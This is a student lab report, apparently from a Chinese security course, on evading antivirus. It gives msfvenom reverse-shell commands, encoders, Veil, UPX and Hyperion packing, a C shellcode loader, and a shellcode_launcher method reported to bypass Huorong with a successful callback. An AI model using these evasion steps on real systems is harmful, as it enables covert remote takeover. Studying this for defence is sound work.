20192424王昭云实践三免杀原理与实践
Exp3 免杀原理与实践(20192424王昭云)
一、实践要求
1. 方法
- ①正确使用msf编码器
- ②msfvenom生成如jar之类的其他文件
- ③veil
- ④加壳工具
- ⑤使用C + shellcode编程
- ⑥使用其他课堂未介绍方法
2. 通过组合应用各种技术实现恶意代码免杀
3. 用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本
二、实验内容
②msfvenom生成如jar之类的其他文件
-
生成Java文件: msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.189.135 LPORT=1314 x> 20192424_ja.jar
-
可以观察到,查杀率比简单编码方式要好些,但依然不乐观
-
生成bash文件: msfvenom -p cmd/unix/reverse_bash LHOST=192.168.189.135 LPORT=1314 -f raw > 20192424.sh
-
bash是Linux系统脚本,在Windows下可能不会一般有人装环境来实现运行bash,所以杀软也不会记录这种文件,所以查杀率为0
③veil
-
veil的安装明明简单却过于费心,可以在kali上在线安装veil:sudo apt-get install veil-evasion
-
安装完成后进入界面:veil
-
使用veil-evasion: use 1
-
可以观察到我们有41个payload,可以使用list 查看payload以及使用use 数字 选取对应的payload
-
选取 powershell/meterpreter/rev_tcp:use 22
-
设置反弹连接的参数:
-
ip: set LHOST 192.168.189.135
-
端口: set LPORT 1314
-
生成: generate
-
文件名: 20192424
-
对文件扫描,结果还是不如人意
④加壳工具
-
对①中生成的程序进行压缩壳upx加壳: upx 20192424cd2.exe -o 20192424cd2.upxed.exe
-
查杀如下
-
对①中生成的程序进行加密壳Hyperion加壳
-
将要加密的程序复制到hyperion文件夹中:cp 20192424cd2.exe /usr/share/windows-resources/hyperion/20192424cd2.exe
-
进入hyperion文件夹:cd /usr/share/windows-resources/hyperion/
-
对程序进行加密壳:wine hyperion.exe -v 20192424cd2.exe 20192424cd2.upxed.Hy.exe
-
-
查杀如下,有一定效果
⑥使用其他课堂未介绍方法
-
下面介绍的DKMC方法是一种未成功免杀的方法,具体方法参考教程
-
安装DKMC: git clone https://github.com/Mr-Un1k0d3r/DKMC.git
-
使用Msf生成raw格式的shellcode: msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.189.135 LPORT=1314 -f raw > 1314
-
进入DKMC文件夹: cd /home/20192424wr/DKMC/
-
执行: python dkmc.py
-
在DKMC中输入选项: sc
-
设置source: set source /home/20192424wr/1314
-
生成shellcode: run
-
返回主菜单: exit
-
在DKMC中输入选项: gen
-
设置shellcode: set shellcode .....(shellcode为run生成的shellcode)
-
生成图像: run
-
返回主菜单: exit
-
在DKKMC中输入选项: ps
-
设置url地址: set url http://192.168.189.135:8080/ .bmp(图片名为gen生成的图片名,可以手动重命名)
-
生成bat文件: run
-
返回主菜单: exit
-
在DKKMC中输入选项: web
-
设置端口: set port 8080
-
启动web服务: run
-
启动msfconsole
-
将生成的bat文件在windows环境打开(或者命令提示符直接输入生成的powershell的代码)
-
这种方法不能免杀
-
关闭杀软的情况下,能成功回连
-
这种将shellcode嵌入图片,通过网络分发的方法是课堂上没有提过的,失败的原因可能是因为企图调用powershell,而av和win10机制对这种行为极为敏感,所以难以达到免杀的目的,如果将文件后缀名bat取消是可以从虚拟机传到windows的,火绒应该是沙盒运行了一遍bat文件发现有端口被异常调用由此推测出是恶意代码。比如在windows接收文件时没有bat后缀,自己重命名是不会被检测出来的,除非运行程序。
①正确使用msf编码器
-
(1)将上一个实验中用msf生成的后门程序放到virustotal检测,发现绝大多数的杀毒软件都可以辨别其为病毒,这类病毒几乎可以说是出师未捷身先死,刚进入就被杀软给杀掉了。
-
(2)接下来我们开始使用msf编码器:
-
查看可以进行的编码类型: msfvenom --list encoders
-
使用 x86/shikata_ga_nai 方式进行编码
-
1次编码: msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai-b '\x00' LHOST=192.168.189.135 LPORT=1314 -f exe >20192424cd2.exe
-
8次编码: msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 8 -b '\x00' LHOST=192.168.189.135 LPORT=1314 -f exe >20192424cd2.exe
-
将两次编码后的文件放到virustotal检测,结果依然没有太大变化
-
综上,仅通过编码方式生成的payload是不可能做到免杀的
⑤使用C + shellcode编程
-
使用msfvenom生成shellcode: msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.189.135 LPORT=1314 -f c
-
新建一个1314sc.c文件,将上面生成的buf[]代入,内部代码为:
include <stdio.h>
unsigned char buf[]=//生成的shellcode
int main()
{
int (func)()=(int()())buf;//调用shellcode
func();
} -
安装mingw-w64: apt-get install mingw-w64
-
使用mingw-w64将c文件生成exe文件: i686-w64-mingw32-g++ 1314sc.c -o 1314sc.exe
-
对1314sc.exe检测一下,效果不错
-
按照实验二步骤尝试回连,发现回连成功,图为与火绒同时存在被查杀的
-
这两张图为kali下没使用火绒,使用火绒的截图
2.通过组合应用各种技术实现恶意代码免杀&3.用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本
-
这是一种使用shellcode加载器的方法,具体步骤参考教程,shellcode加载器中效果最好使用较多的就是shellcode_launcher了(附上下载地址)
-
使用Msfvenom生成raw格式的shellcode: msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 6 -b '\x00' lhost=192.168.189.135 lport=1314 -f raw -o 20192424.raw
-
打开msfconsole进行监听:
-
use exploit/multi/handler //监听设置payload set payload
-
set payload windows/meterpreter/reverse_tcp //使用与生成后门程序一样的payload
-
set LHOST 192.168.189.135 //Linux端的IP地址
-
set LPORT 1314 //与之前输入的端口号一致
-
exploit //开始监听
-
在另一台正常开启杀软的Windows命令提示符输入: shellcode_launcher.exe -i 20192424.raw
-
观察到成功回连,杀软没有查杀,且shellcode_launcher.exe和20192424.raw通过检测
-
Windows版本:Windows 10, version 1909,杀软:火绒5.0.40.12
三、基础问题回答
1.杀软是如何检测出恶意代码的?
- (一)特征代码法:该方法是目前杀毒工具中必备的组成部分
- (二)校验和法:文件完整性保护,主要用于检测系统文件是否被篡改。
- (三)行为监测法:监测恶意代码执行时的行为特征,可以识别恶意代码的名称或者是种类,也可以检测未知的恶意代码。
2.免杀是做什么?
- 免杀是逃避杀毒软件的检测,从而可以使其“正常运行”
3.免杀的基本方法有哪些?
- (1)采用不同的编码方式,或者编码次数
- (2)对编码后生成的文件进行加壳,加压缩壳或者是加密壳
- (3)还可以使用反弹端口,一些防火墙不会对本机发出的请求进行过滤
4.开启杀软能绝对防止电脑中恶意代码吗?
- 杀毒软件能提供可靠的下载源,能自动将下载软件与官网的hash比对,只要我们正确使用杀毒软件,不去乱七八糟的网页下载文件,合理开启防火墙,对杀毒软件警告的网页不轻易打开,就能防范大多数病毒。只要不乱下不明渠道的程序,怎么会中毒呢?黑客的尽头还得是社会工程学。